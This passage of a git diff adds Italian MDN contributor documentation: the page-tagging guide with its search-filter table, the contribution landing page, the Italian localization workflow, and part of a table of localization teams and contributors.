+ <dd>comprende i {{Tag("Canvas")}}, {{Tag("HTML")}}, {{Tag("Element")}}, {{Tag("Graphics")}}, {{Tag("Reference")}}</dd>
+ <dt>Una landing page sugli strumenti di sviluppo di Firefox</dt>
+ <dd>comprende i tag {{Tag("Tools")}}, {{Tag("Firefox")}}, {{Tag("Landing")}}</dd>
+</dl>
+
+<h2 id="Tag_e_filtri_di_ricerca">Tag e filtri di ricerca</h2>
+
+<p>L'efficacia dei filtri di ricerca dipende dall'inserimento dei tag corretti nelle pagine di MDN. Di seguito, una tabella dei filtri di ricerca con i tag corrispondenti. (Questi filtri di ricerca si applicano unicamente al sito <a href="https://wiki.developer.mozilla.org">wiki</a> (la versione modificabile di MDN); la versione MDN <a href="https://developer.mozilla.org">in sola lettura</a> utilizza un sistema di ricerca diverso, senza filtri.)</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> Quando sotto la colonna "Nome tag" sono presenti più tag, significa che, perché l'articolo compaia nei risultati di ricerca, deve essere associato a uno o più dei tag elencati.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Gruppo filtro</th>
+   <th scope="col">Nome filtro ricerca</th>
+   <th scope="col">Nome tag</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th rowspan="22" scope="row" style="vertical-align: baseline;">Argomento</th>
+   <td>APIs and DOM</td>
+   <td>{{Tag("API")}} || {{Tag("DOM")}} {{Deprecated_Inline}}</td>
+  </tr>
+  <tr>
+   <td>Add-ons &amp; Extensions {{Deprecated_Inline}}</td>
+   <td>{{Tag("Add-ons")}} || {{Tag("Extensions")}} || {{Tag("Plugins")}} || {{Tag("Themes")}} || {{Tag("WebExtensions")}}</td>
+  </tr>
+  <tr>
+   <td>CSS</td>
+   <td>{{Tag("CSS")}}</td>
+  </tr>
+  <tr>
+   <td>Canvas</td>
+   <td>{{Tag("Canvas")}}</td>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td>{{Tag("Firefox")}}</td>
+  </tr>
+  <tr>
+   <td>Firefox OS</td>
+   <td>{{Tag("Firefox OS")}}</td>
+  </tr>
+  <tr>
+   <td>Games</td>
+   <td>{{Tag("Games")}}</td>
+  </tr>
+  <tr>
+   <td>HTML</td>
+   <td>{{Tag("HTML")}}</td>
+  </tr>
+  <tr>
+   <td>HTTP</td>
+   <td>{{Tag("HTTP")}}</td>
+  </tr>
+  <tr>
+   <td>JavaScript</td>
+   <td>{{Tag("JavaScript")}}</td>
+  </tr>
+  <tr>
+   <td>Marketplace {{Non-standard_Inline}}</td>
+   <td>{{Tag("Marketplace")}}</td>
+  </tr>
+  <tr>
+   <td>MathML</td>
+   <td>{{Tag("MathML")}}</td>
+  </tr>
+  <tr>
+   <td>Mobile</td>
+   <td>{{Tag("Mobile")}}</td>
+  </tr>
+  <tr>
+   <td>Open Web Apps {{Non-standard_Inline}}</td>
+   <td>{{Tag("Apps")}}</td>
+  </tr>
+  <tr>
+   <td>SVG</td>
+   <td>{{Tag("SVG")}}</td>
+  </tr>
+  <tr>
+   <td>Web Development</td>
+   <td>{{Tag("Web Development")}}</td>
+  </tr>
+  <tr>
+   <td>Web Standards</td>
+   <td>{{Tag("Web")}}</td>
+  </tr>
+  <tr>
+   <td>WebExtensions</td>
+   <td>{{Tag("WebExtensions")}}</td>
+  </tr>
+  <tr>
+   <td>WebGL</td>
+   <td>{{Tag("WebGL")}}</td>
+  </tr>
+  <tr>
+   <td>Writing Documentation</td>
+   <td>{{Tag("MDN Meta")}}</td>
+  </tr>
+  <tr>
+   <td>XPCOM {{Non-standard_Inline}}</td>
+   <td>{{Tag("XPCOM")}}</td>
+  </tr>
+  <tr>
+   <td>XUL {{Non-standard_Inline}}</td>
+   <td>{{Tag("XUL")}}</td>
+  </tr>
+  <tr>
+   <th rowspan="3" scope="row" style="vertical-align: baseline; white-space: nowrap;">{{anch("Livello di competenza")}}</th>
+   <td>I'm an Expert</td>
+   <td>{{Tag("Advanced")}}</td>
+  </tr>
+  <tr>
+   <td>Intermediate</td>
+   <td>{{Tag("Intermediate")}}</td>
+  </tr>
+  <tr>
+   <td>I'm Learning</td>
+   <td>{{Tag("Beginner")}}</td>
+  </tr>
+  <tr>
+   <th rowspan="7" scope="row" style="vertical-align: baseline; white-space: nowrap;">Tipo di documento</th>
+   <td>Docs</td>
+   <td><em>Restringe il campo di ricerca alla documentazione, escludendo i contenuti di Hacks e contenuti di altro tipo in MDN.</em></td>
+  </tr>
+  <tr>
+   <td>Demos</td>
+   <td><em>Questo tipo di documento non è più in uso nella documentazione web di MDN.</em></td>
+  </tr>
+  <tr>
+   <td>Tools</td>
+   <td>{{Tag("Tools")}}</td>
+  </tr>
+  <tr>
+   <td>Code Samples</td>
+   <td>{{Tag("Example")}}</td>
+  </tr>
+  <tr>
+   <td>How-To &amp; Tutorial</td>
+   <td>{{Tag("Guide")}}</td>
+  </tr>
+  <tr>
+   <td>Developer Profiles</td>
+   <td><em>Include nei risultati di ricerca i profili degli sviluppatori registrati su MDN.</em></td>
+  </tr>
+  <tr>
+   <td>External Resources</td>
+   <td><em>Il team di sviluppo non ha ancora stabilito come utilizzare questo filtro...</em></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Problemi_di_tag_che_puoi_aiutare_a_risolvere">Problemi di tag che puoi aiutare a risolvere</h2>
+
+<p>I collaboratori possono contribuire a risolvere diversi tipi di problemi riguardanti i tag:</p>
+
+<dl>
+ <dt>Niente tag</dt>
+ <dd>Di norma, ogni articolo dovrebbe essere associato <em>almeno</em> a un tag per la {{anch("Categoria documento", "categoria")}} e a un tag per l'{{anch("Argomento", "argomento")}} del documento. È possibile aggiungere altri tag appropriati, ma assicurarsi che ogni pagina abbia i tag strettamente necessari costituisce già di per sé un enorme contributo.</dd>
+ <dt>Tag non conformi agli standard MDN</dt>
+ <dd>Quando si trova un documento che non segue gli standard di questa pagina, è opportuno correggerlo.<br>
+Attenzione: su alcune pagine in lingua inglese è possibile talvolta imbattersi in tag localizzati in altre lingue (es. <code>Référence</code>). Questo problema è dovuto a un <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=776048">bug in Kuma</a> per cui i tag ricomparivano anche dopo essere stati eliminati. Il bug <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=776048#c37">è stato successivamente risolto</a>: ora è possibile ripulire le pagine da tutti i tag erratamente localizzati.</dd>
+ <dt>Tag non corretti</dt>
+ <dd>Se un articolo sul codice HTML è associato al tag "JavaScript", si tratta probabilmente di un errore. Lo stesso vale per un articolo che tratta di meccanismi interni di prodotti Mozilla, ma è associato al tag "Web". I tag non corretti vanno rimossi e quelli appropriati vanno aggiunti, se mancanti. Inoltre, vanno corretti anche i tag che contengono errori di battitura, come ad esempio "Javascript" (il tag funziona comunque, poichè il sistema non coglie la differenza tra maiuscole e minuscole, ma anche la forma va curata).</dd>
+ <dt>Tag mancanti</dt>
+ <dd>Un articolo potrebbe già essere associato ad alcuni tag, ma non a tutti quelli necessari. In questo caso, occorre aggiungere i tag mancanti. Per esempio, se una pagina di consultazione in JavaScript presenta soltanto il tag "JavaScript" (peraltro corretto), i collaboratori sono incoraggiati ad aggiungere i tag "Reference" o di un'altra {{anch("Categoria documento", "categoria")}}.</dd>
+<dt>Tag spam</dt>
+<dd>Si tratta del problema più fastidioso di tutti: alcuni malevoli frequentatori del Web hanno attaccato anche MDN, infestando le pagine con tag tipo "Free warez!" o "Ehi passavo da questo sito e volevo sapere se potete aiutarmi a risolvere il problema con Flash che crasha sempre". Questi tag vanno eliminati al più presto! Non solo danno fastidio e creano problemi nella gestione delle pagine se non vengono rimossi tempestivamente, ma hanno anche un effetto deleterio sul {{Glossary("SEO")}}.</dd>
+</dl>
+
+<p>Quando si nota uno (o più) di questi tag, <a href="/it/docs/Project:Getting_started">accedere a MDN</a> e premere MODIFICA nell'angolo in alto a destra della finestra. Una volta che l'editor si sarà caricato, scorrere fino al riquadro dei tag, che si trova in fondo alla pagina. Per ulteriori dettagli sull'interfaccia di inserimento dei tag, consulta la <a href="/en-US/docs/MDN/Contribute/Editor/Basics/Tags">sezione sui tag</a> nella <a href="/it/docs/MDN/Contribute/Editor">guida all'editor di MDN</a>.</p>
diff --git a/files/it/mdn/contribute/index.html b/files/it/mdn/contribute/index.html
new file mode 100644
index 0000000000..2a0a00581a
--- /dev/null
+++ b/files/it/mdn/contribute/index.html
@@ -0,0 +1,71 @@
+---
+title: Contribuire a MDN
+slug: MDN/Contribute
+tags:
+  - Documentation
+  - Guide
+  - Landing
+  - MDN
+translation_of: MDN/Contribute
+---
+<div>{{MDNSidebar}}</div>
+
+<p> <span class="seoSummary">Benvenuto! Visitando questa pagina hai fatto il primo passo per diventare un collaboratore di MDN. Queste guide coprono tutti gli aspetti inerenti la collaborazione con MDN, ad esempio le guide di stile, le guide per l'uso dell'editor, dei vari strumenti e altro ancora.</span></p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 id="Guide_per_i_collaboratori">Guide per i collaboratori</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/it/docs/MDN/Getting_started">Primi passi</a></dt>
+ <dd>Una guida veloce per prepararti ai tuoi primi contributi.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/MDN/Contribute/Style_guide">Guida di stile e di contenuto</a></dt>
+ <dd>La guida di stile e di contenuto di MDN fornisce i dettagli riguardo lo stile di scrittura, il layout delle pagine e lo stile dei contenuti, per fare sì che ciò che scrivi sia in linea con il resto del contenuto di MDN.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/MDN/Contribute/Editor">Guida all'editor</a></dt>
+ <dd>Una guida completa all'uso dell'editor di MDN.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/MDN/Contribute/Reviewing_articles">Revisione degli articoli</a></dt>
+ <dd>Una guida alla revisione editoriale e tecnica del contenuto degli articoli, per assicurarci che tutto il contenuto di MDN sia il più possibile utile e leggibile.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/MDN/Contribute/Conventions">Terminologia e convenzioni</a></dt>
+ <dd>La nostra guida alla terminologia e alle convenzioni fornisce informazioni che puoi utilizzare per assicurarti che tu stia usando la corretta terminologia per descrivere i vari concetti.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/MDN/Contribute/Community">Lavorare con la comunità di MDN</a></dt>
+ <dd>Una guida che spiega come lavorare con la nostra comunità, trovare aiuto e connetterti con le persone giuste per risolvere qualsiasi dubbio tu abbia nella tua collaborazione con MDN.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/MDN/Contribute/FAQ">Risposte a domande frequenti</a></dt>
+ <dd>Suggerimenti e risposte alle domande più frequenti riguardo alla collaborazione con MDN.</dd>
+</dl>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/it/docs/MDN/Kuma/Contributing">Contribuire a Kuma</a></dt>
+ <dd>Una guida alla collaborazione con il progetto Kuma, ovvero la piattaforma del sito web di MDN.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 id="Come_fare_per...">Come fare per...</h2>
+
+<p>I nostri<a href="https://developer.mozilla.org/it/docs/MDN/Contribute/Howto"> manuali di istruzioni</a> ti guideranno passo passo nello svolgere specifici compiti quando collabori con MDN.</p>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/it/docs/MDN/Contribute/Howto/Document_a_CSS_property">Come documentare una proprietà CSS</a></dt>
+ <dd>Una guida alla scrittura di documentazione per le proprietà CSS. Tutti i documenti sulle proprietà dei CSS devono adeguarsi allo stile e al layout descritti in questo articolo.</dd>
+ <dt>Come documentare un elemento HTML</dt>
+ <dd>Questa guida alla scrittura di documentazione sugli elementi HTML permette di preparare documenti che siano in linea con la documentazione già presente su MDN.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/MDN/Contribute/Howto/Tag">Come etichettare correttamente le pagine</a></dt>
+ <dd>Questa guida all'etichettatura delle pagine fornisce informazioni riguardo ai nostri standard per l'etichettatura. Inoltre contiene un elenco di etichette che hanno un significato standard su MDN. Seguire questa guida garantirà che i tuoi contenuti siano categorizzati appropriatamente, più facili da cercare e che il nostro sistema di filtri di ricerca funzioni correttamente con i tuoi articoli.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/MDN/Contribute/Howto/Interpret_specifications">Come interpretare le specifiche</a></dt>
+ <dd>Questa guida ti aiuterà ad interpretare correttamente le specifiche degli standard Web; la capacità di leggere queste specifiche può essere una vera e propria forma d'arte. Una corretta interpretazione ti aiuterà a creare una documentazione migliore.</dd>
+</dl>
+
+<h2 id="Localizzazione">Localizzazione</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/it/docs/MDN/Contribute/Localize/Tour">Tour guidato alla localizzazione</a></dt>
+ <dd>Questo tour guidato spiega come localizzare i contenuti su MDN.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/MDN/Contribute/Localize/Guide">Guida alla localizzazione</a></dt>
+ <dd>Questa guida fornisce maggiori dettagli riguardo al processo di localizzazione dei contenuti su MDN.</dd>
+ <dt><a href="https://developer.mozilla.org/it/docs/MDN/Contribute/Localize/Localization_projects">Progetti di localizzazione</a></dt>
+ <dd>Quasta pagina ti permette di trovare i progetti di localizzazione per la tua lingua o, se non ne esistono, ti spiega come crearne uno!</dd>
+</dl>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/it/mdn/contribute/localize/guidaitaliano/index.html b/files/it/mdn/contribute/localize/guidaitaliano/index.html
new file mode 100644
index 0000000000..203b17067d
--- /dev/null
+++ b/files/it/mdn/contribute/localize/guidaitaliano/index.html
@@ -0,0 +1,82 @@
+---
+title: Processo di localizzazione di MDN per la versione Italiana
+slug: MDN/Contribute/Localize/GuidaItaliano
+tags:
+  - Localization
+  - MDN
+  - l10n
+---
+<div>{{MDNSidebar}}</div><div id="magicdomid3">
+ <span class="author-g-ci9fz122zcotjn90xvng">La localizzazione di MDN viene gestita principalmente da Mozilla Italia, un gruppo di volontari che si occupa della localizzazione e diffusione dei progetti e dei valori di Mozilla per gli utenti italiani.</span></div>
+<div id="magicdomid4">
+  </div>
+<div id="magicdomid5">
+ <span class="author-g-ci9fz122zcotjn90xvng">Abbiamo messo a punto un sistema che ci permette di gestire più agevolmente il processo di localizzazione e QA (Quality Assurance, ovvero Controllo Qualità) degli articoli presenti su MDN. Se da un lato non è obbligatorio usare questo sistema per partecipare alla localizzazione degli articoli di MDN, dall'altro questo ci aiuta ad evitare la duplicazione del lavoro e ad avere un approccio più sistematico nell'opera che stiamo portando avanti.</span></div>
+<div id="magicdomid6">
+  </div>
+<h2 id="Ruoli_attuali"><span class="author-g-ci9fz122zcotjn90xvng">Ruoli attuali</span></h2>
+<div id="magicdomid8">
+ <span class="author-g-ci9fz122zcotjn90xvng">Il processo di traduzione viene eseguito da due figure: il traduttore ed il revisore.</span></div>
+<div id="magicdomid9">
+  </div>
+<div id="magicdomid10">
+ <span class="author-g-ci9fz122zcotjn90xvng">Il traduttore si occupa di tradurre gli articoli, mentre il revisore si occupa della parte di QA, ovvero di verificare che la traduzione sia scritta in maniera chiara, leggibile e linguisticamente corretta.</span></div>
+<div id="magicdomid11">
+  </div>
+<h2 id="Prerequisiti"><span class="author-g-ci9fz122zcotjn90xvng">Prerequisiti</span></h2>
+<div id="magicdomid13">
+ <span class="author-g-ci9fz122zcotjn90xvng">I localizzatori devono:</span></div>
+<div id="magicdomid14">
+ <span class="author-g-ci9fz122zcotjn90xvng">1. Essere in grado di modificare e creare nuovi articoli su MDN (vedi [link alla pagina di MDN sulla modifica degli articoli])</span></div>
+<div id="magicdomid15">
+ <span class="author-g-ci9fz122zcotjn90xvng">2. Essere iscritti al forum di Mozilla Italia (</span><span class="author-g-ci9fz122zcotjn90xvng url"><a href="http://forum.mozillaitalia.org">http://forum.mozillaitalia.org</a></span><span class="author-g-ci9fz122zcotjn90xvng"> )</span></div>
+<div id="magicdomid16">
+  </div>
+<div id="magicdomid17">
+ <span class="author-g-ci9fz122zcotjn90xvng">I revisori devono:</span></div>
+<div id="magicdomid18">
+ <span class="author-g-ci9fz122zcotjn90xvng">1. Essere iscritti al forum di Mozilla Italia (</span><span class="author-g-ci9fz122zcotjn90xvng url"><a href="http://forum.mozillaitalia.org">http://forum.mozillaitalia.org</a></span><span class="author-g-ci9fz122zcotjn90xvng"> )</span></div>
+<div id="magicdomid19">
+  </div>
+<h2 id="Il_processo_di_localizzazione"><span class="author-g-ci9fz122zcotjn90xvng">Il processo di localizzazione</span></h2>
+<div id="magicdomid21">
+ <span class="author-g-ci9fz122zcotjn90xvng">Questo elenco di operazioni copre il ciclo di vita di una localizzazione, da quando il localizzatore comincia il proprio lavoro a quando la localizzazione dell'articolo risulta terminata.</span></div>
+<div id="magicdomid22">
+  </div>
+<div id="magicdomid23">
+ <span class="author-g-ci9fz122zcotjn90xvng">1. Il localizzatore decide quale pagina localizzare.</span><span class="author-g-ywfp69kq6xj4einh"> Nella scelta di quant</span><span class="author-g-gqulvq7hq8g96crt">e</span><span class="author-g-ywfp69kq6xj4einh"> e quali pagine tradurre occorre tenere presente che il lavoro del localizzatore non si esaurisce con la traduzione della pagina allo stato attuale, ma continua con l’impegno di tenerla costantemente aggiornata.</span></div>
+<div id="magicdomid24">
+ <span class="author-g-ci9fz122zcotjn90xvng">2. Il localizzatore esegue il proprio lavoro.</span></div>
+<div id="magicdomid25">
+ <span class="author-g-ci9fz122zcotjn90xvng">3. Prima di salvare si assicura che, in fondo alla pagina dell'editor siano spuntate le voci "Localizzazione in corso" e "Editoriale" sotto la sezione "È necessaria una revisione?"</span></div>
+<div id="magicdomid26">
+ <span class="author-g-ci9fz122zcotjn90xvng">4. Il localizzatore aggiunge una riga sull'etherpad presente all'indirizzo </span><span class="author-g-ci9fz122zcotjn90xvng url"><a href="https://etherpad.mozilla.org/9LBcQCAbkA">https://etherpad.mozilla.org/9LBcQCAbkA</a></span><span class="author-g-ci9fz122zcotjn90xvng"> indicando il titolo dell'articolo, l'URL dell'articolo e il proprio nickname.</span></div>
+<div id="magicdomid27">
+ <span class="author-g-ci9fz122zcotjn90xvng">5. Il localizzatore aggiunge un post al topic "[MDN] Traduzione articoli" sul forum di Mozilla Italia all'indirizzo </span><span class="author-g-ci9fz122zcotjn90xvng url"><a href="http://forum.mozillaitalia.org/index.php?topic=54775.0">http://forum.mozillaitalia.org/index.php?topic=54775.0</a></span><span class="author-g-ci9fz122zcotjn90xvng"> </span></div>
+<div id="magicdomid28">
+ <span class="author-g-ci9fz122zcotjn90xvng">6. Il revisore controlla l'articolo tradotto e nello stesso topic suggerisce al localizzatore le correzioni da effettuare. Questi suggerimenti non sono vincolanti, sta al localizzatore decidere se accettarli o meno</span></div>
+<div id="magicdomid29">
+ <span class="author-g-ci9fz122zcotjn90xvng">7. Il localizzatore effettua le correzioni che ritiene opportune</span></div>
+<div id="magicdomid30">
+ <span class="author-g-ci9fz122zcotjn90xvng">8. Se i revisori si ritengono soddisfatti delle correzioni apportate, il localizzatore sbarra la voce dell'articolo sull'etherpad (selezionando la riga corrispondente e usando il pulsante con la "S" sbarrata in alto a destra dell'editor per applicare alla selezione lo stile "Strikethrough")</span></div>
+<div id="magicdomid31">
+  </div>
+<h2 id="Suggerimenti"><span class="author-g-ci9fz122zcotjn90xvng">Suggerimenti</span></h2>
+<ul>
+ <li id="magicdomid33"><span class="author-g-ci9fz122zcotjn90xvng">Si consiglia ai localizzatori di abbonarsi alla pagina originale che stanno traducendo, così da ricevere notifica quando l'originale viene modificato e poter aggiornare la localizzazione.</span><span class="author-g-ywfp69kq6xj4einh"> Anche in assenza di notifiche è buona norma controllare periodicamente i link della pagina per aggiornare i titoli degli articoli collegati che sono stati tradotti in italiano nel frattempo.</span><br>
+  <span class="author-g-ci9fz122zcotjn90xvng">Sarebbe poi auspicabile segnalare sul forum che sono state apportate delle modifiche in modo che i revisori possano verificare la bontà delle stesse.</span></li>
+</ul>
+<div id="magicdomid35">
+  </div>
+<h3 id="Consistenza_terminologica_e_aggiornamenti"><span class="author-g-ywfp69kq6xj4einh b"><b>Consistenza terminologica e aggiornamenti</b></span></h3>
+<div id="magicdomid38">
+ <span class="author-g-ywfp69kq6xj4einh">Essendo MDN una guida per sviluppatori, è di fondamentale importanza che la terminologia degli articoli sia consistente con quella utilizzata nella localizzazione ufficiale di Mozilla. Pertanto:</span></div>
+<ul>
+ <li id="magicdomid39"><span class="author-g-ywfp69kq6xj4einh">È buona norma controllare sempre se a ogni termine è stata assegnata una traduzione ufficiale (verificando direttamente nei prodotti Mozilla localizzati in italiano o utilizzando questo motore di ricerca: </span><span class="author-g-ywfp69kq6xj4einh url"><a href="http://transvision.mozfr.org/">http://transvision.mozfr.org/</a></span><span class="author-g-ywfp69kq6xj4einh"> ) piuttosto che lasciare in inglese o dare una traduzione ex-novo;</span></li>
+ <li id="magicdomid39"><span class="author-g-ywfp69kq6xj4einh">in caso la terminologia ufficiale subisca dei cambiamenti nel tempo, è possibile che i membri del forum di Mozilla Italia intervengano sulla pagina del traduttore per aggiornare tempestivamente la terminologia obsoleta.</span></li>
+</ul>
+<h3 id="Traduzioni_incomplete"><span class="author-g-ywfp69kq6xj4einh b"><b>Traduzioni incomplete</b></span></h3>
+<div id="magicdomid42">
+ <span class="author-g-ywfp69kq6xj4einh">Se un traduttore interrompe la localizzazione di una pagina e desidera riprenderla in un secondo (ragionevolmente non troppo lontano) momento, è bene che spunti la casella “Localizzazione in corso” nella schermata di traduzione, in modo da informare gli altri utenti che quella pagina non è stata abbandonata a se stessa. Le pagine incomplete sprovviste dell’etichetta “Localizzazione in corso” verranno considerate a tutti gli effetti libere di essere modificate da altri localizzatori.</span></div>
+<div id="magicdomid43">
+  </div>
diff --git a/files/it/mdn/contribute/localize/index.html b/files/it/mdn/contribute/localize/index.html
new file mode 100644
index 0000000000..a322dd56f2
--- /dev/null
+++ b/files/it/mdn/contribute/localize/index.html
@@ -0,0 +1,28 @@
+---
+title: Localizzazione di MDN
+slug: MDN/Contribute/Localize
+tags:
+  - Documentation
+  - Localization
+  - MDN
+  - TopicStub
+translation_of: MDN/Contribute/Localize
+---
+<div>{{MDNSidebar}}</div><p>MDN è usato in tutto il mondo come riferimento e guida alle tecnologie del Web e come documentazione tecnica di Firefox. Le nostre comunità di localizzazione sono una componente fondamentale del progetto Mozilla; il loro sforzo nel tradurre e localizzare la documentazione permette alle persone in tutto il mondo di sviluppare per l'open Web. Se vuoi maggiori informazioni sui nostri gruppi di localizzazione, unirti a uno dei gruppi esistenti o magari iniziare una nuova localizzazione non ancora presente, sei nel posto giusto.</p>
+<p>{{LandingPageListSubpages}}</p>
+<h2 id="Strumenti_per_la_localizzazione">Strumenti per la localizzazione</h2>
+<p>Questi sono alcuni degli strumenti che vengono utilizzati per la localizzazione:</p>
+<dl>
+ <dt>
+  <a href="/it/docs/Mozilla/Localization/Localizing_with_Verbatim" title="/en-US/docs/Mozilla/Localization/Localizing_with_Verbatim">Verbatim</a></dt>
+ <dd>
+  Utilizzato per la traduzione delle stringhe di vari progetti Mozilla, tra cui l'interfaccia utente di MDN e quella di Firefox.</dd>
+ <dt>
+  <a href="http://transvision.mozfr.org/" title="http://transvision.mozfr.org/">Transvision</a></dt>
+ <dd>
+  Uno strumento fornito da Mozilla France che permette di cercare occorrenze di una stringa in inglese e di trovare, in base alla lingua di proprio interesse, tutte le varie traduzioni che vengono utilizzate all'interno del codice Mozilla. È molto utile per trovare le traduzioni più utilizzate per i vari termini o frasi.</dd>
+</dl>
+<h2 id="Vedi_anche">Vedi anche</h2>
+<ul>
+ <li><a href="/it/docs/Mozilla/Localization" title="/en-US/docs/Mozilla/Localization">Localizzazione in Mozilla</a></li>
+</ul>
diff --git a/files/it/mdn/contribute/localize/progetti_localizzazione/index.html b/files/it/mdn/contribute/localize/progetti_localizzazione/index.html
new file mode 100644
index 0000000000..5266f57222
--- /dev/null
+++ b/files/it/mdn/contribute/localize/progetti_localizzazione/index.html
@@ -0,0 +1,283 @@
+---
+title: I progetti di localizzazione
+slug: MDN/Contribute/Localize/progetti_localizzazione
+translation_of: MDN/Contribute/Localize/Localization_projects
+---
+<div><section class="Quick_links" id="Quick_Links">
+  <ol>
+    <li class="toggle">
+        <details>
+            <summary>Informazioni su MDN</summary>
+            <ol>
+              <li><a href="/it/docs/MDN/About">Informazioni su MDN</a></li>
+              <li><a href="/it/docs/MDN/About/Reading">MDN guide for readers</a></li>
+              <li><a href="/it/docs/MDN/About/Promote">Promuovi MDN</a></li>
+              <li><a href="/it/docs/MDN/Feedback">Send feedback about MDN</a></li>
+            </ol>
+        </details>
+    </li>
+    <li class="toggle">
+        <details>
+            <summary>Primi passi su MDN</summary>
+            <ol>
+              <li><a href="/it/docs/MDN/Getting_started">Primi passi su MDN</a></li>
+            </ol>
+        </details>
+    </li>
+    <li class="toggle">
+        <details>
+            <summary>Contribuire a MDN</summary>
+            <ol>
+                <li><a href="/it/docs/MDN/Contribute">Contribuire a MDN</a></li>
+                <li><a href="/it/docs/MDN/Contribute/Howto">Guide come fare per</a></li>
+                <li><a href="/it/docs/MDN/Contribute/Localize">Localizzazione di MDN</a></li>
+                <li><a href="/it/docs/MDN/Contribute/Editor">Guida all'editor di MDN</a></li>
+                <li><a href="/it/docs/MDN/Contribute/Tools">Tools for power users</a></li>
+                <li><a href="/it/docs/MDN/Contribute/Guidelines">Guidelines</a></li>
+                <li><a href="/it/docs/MDN/Contribute/Processes">Work processes</a></li>
+                <li><a href="/it/docs/MDN/Contribute/Structures">Content structures</a></li>
+             </ol>
+        </details>
+    </li>
+    <li class="toggle">
+        <details>
+            <summary>Kuma: the MDN wiki platform</summary>
+            <ol>
+              <li><a href="/it/docs/MDN/Kuma">Kuma: the MDN wiki platform</a></li>
+            </ol>
+        </details>
+    </li>
+    <li class="toggle">
+      <details>
+          <summary>Join the MDN community</summary>
+          <ol>
+            <li><a href="/it/docs/MDN/Community">Join the MDN community</a></li>
+          </ol>
+      </details>
+    </li>
+    <li class="toggle">
+      <details>
+          <summary>Doc status by topic</summary>
+          <ol>
+            <li><a href="/it/docs/MDN/Doc_status">Doc status by topic</a></li>
+            <li><a href="/it/docs/MDN/Doc_status/Overview">Panoramica sulla documentazione</a></li>
+          </ol>
+      </details>
+    </li>
+  </ol>
+</section></div><p>Il lavoro di localizzazione e di traduzione su MDN viene svolto dalla nostra straordinaria comunità di volontari. In questo articolo vengono elencati i progetti di localizzazione, coloro che ve ne sono alla guida e chi vi collabora, oltre ad altri dettagli.</p>
+<p>A capo della localizzazione vi è colui che guida una comunità di localizzazione su MDN,  a localizzare i contenuti in base ad uno specifico luogo o tema. Insieme ai team di localizzazione, essi devono riportare i loro dati nella tabella progetti sottostante, in modo che, coloro interessati a contribuire, possano contattarli. Ognuno a capo della localizzazione ( o qualsiasi persona facente parte del team del progetto di localizzazione) è stimolato nel creare sul wiki una pagina team per i vostri progetti di localizzazione , da utilizzare per scopi organizzativi e amministrativi.</p>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Lingua</th>
+   <th style="width: 12em;">Capo Localizzazione</th>
+   <th>Collaboratori</th>
+   <th>Notes</th>
+  </tr>
+  <tr>
+   <td>
+    <p>ગુજરાતી</p>
+    <p>(Gujarati)</p>
+   </td>
+   <td><a href="/profiles/prafull_satasiya">prafull_satasiya</a></td>
+   <td><a href="/profiles/prafull_satasiya">prafull_satasiya</a></td>
+   <td>Cerchiamo traduttori</td>
+  </tr>
+  <tr>
+   <td>العربية</td>
+   <td> </td>
+   <td><a href="/profiles/wassim_h">wassim_h</a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Persian</td>
+   <td> </td>
+   <td><a href="/profiles/amir.farsi">Amir Farsi</a>, <a href="/profiles/kazem82">Kazem Ebrahimi</a></td>
+   <td>Cerchiamo traduttori</td>
+  </tr>
+  <tr>
+   <td>Bengali (Bangladesh)</td>
+   <td><a href="/profiles/shafiul">Shafiul Azam Chowdhury</a></td>
+   <td>
+    <p><a href="/profiles/tuxboy">tuxboy</a>, <a href="/profiles/shafiul">shafiul</a>, <a href="/profiles/nasirkhan">Nasir Khan Saikat</a>, <a href="/profiles/towfiqueanam">Towfique Anam Rine</a>, <a href="/profiles/pink.devil.tanha">Tanha Islam</a>, <a href="/profiles/badsha_eee">Sekander Badsha</a><span id="cke_bm_269E" style="display: none;"> </span>, <a href="/profiles/mimzi_fahia">Fahia Nasnin</a>, <a href="/profiles/desh">Salman Rahman Desh</a>, <a href="/profiles/jaggedzak">jaggedzak</a></p>
+   </td>
+   <td>Il Team Mozilla Bangladesh  cerca nuovi collaboratori. <a href="/bn-BD/docs/Project:MDN/%E0%A6%85%E0%A6%AC%E0%A6%A6%E0%A6%BE%E0%A6%A8/mozillabd-l10n-team">Maggiori informazioni</a></td>
+  </tr>
+  <tr>
+   <td>French</td>
+   <td><a href="/profiles/Jeremie">Jeremie Patonnier</a></td>
+   <td><a href="/profiles/FredB">FredB</a>, <a href="/profiles/Chbok">Alain Boquet</a>, <a href="/profiles/Fredchat">Fréderic Chateaux</a>, <a href="/profiles/VincentN">Vincent N.</a>, <a href="/profiles/BenoitL">Benoit Leseul</a>, <a href="/profiles/Shz">Shz</a>, <a href="/profiles/tregagnon">Thierry Régagnon (tregagnon)</a>, <a href="/profiles/xaky">xaky</a>, <a href="/profiles/Goofy">Goofy</a>, <a href="/profiles/sylzys">sylzys</a>, <a href="/profiles/the%20prisoner">the prisoner</a>, <a href="/profiles/Julien%20STUBY">Julien STUBY</a>, <a href="/profiles/poum">poum</a>, <a href="/profiles/sylvie">sylvie</a>, <a href="/profiles/Delapouite">Delapouite</a>, <a href="/profiles/SphinxKnight">Sphinx</a></td>
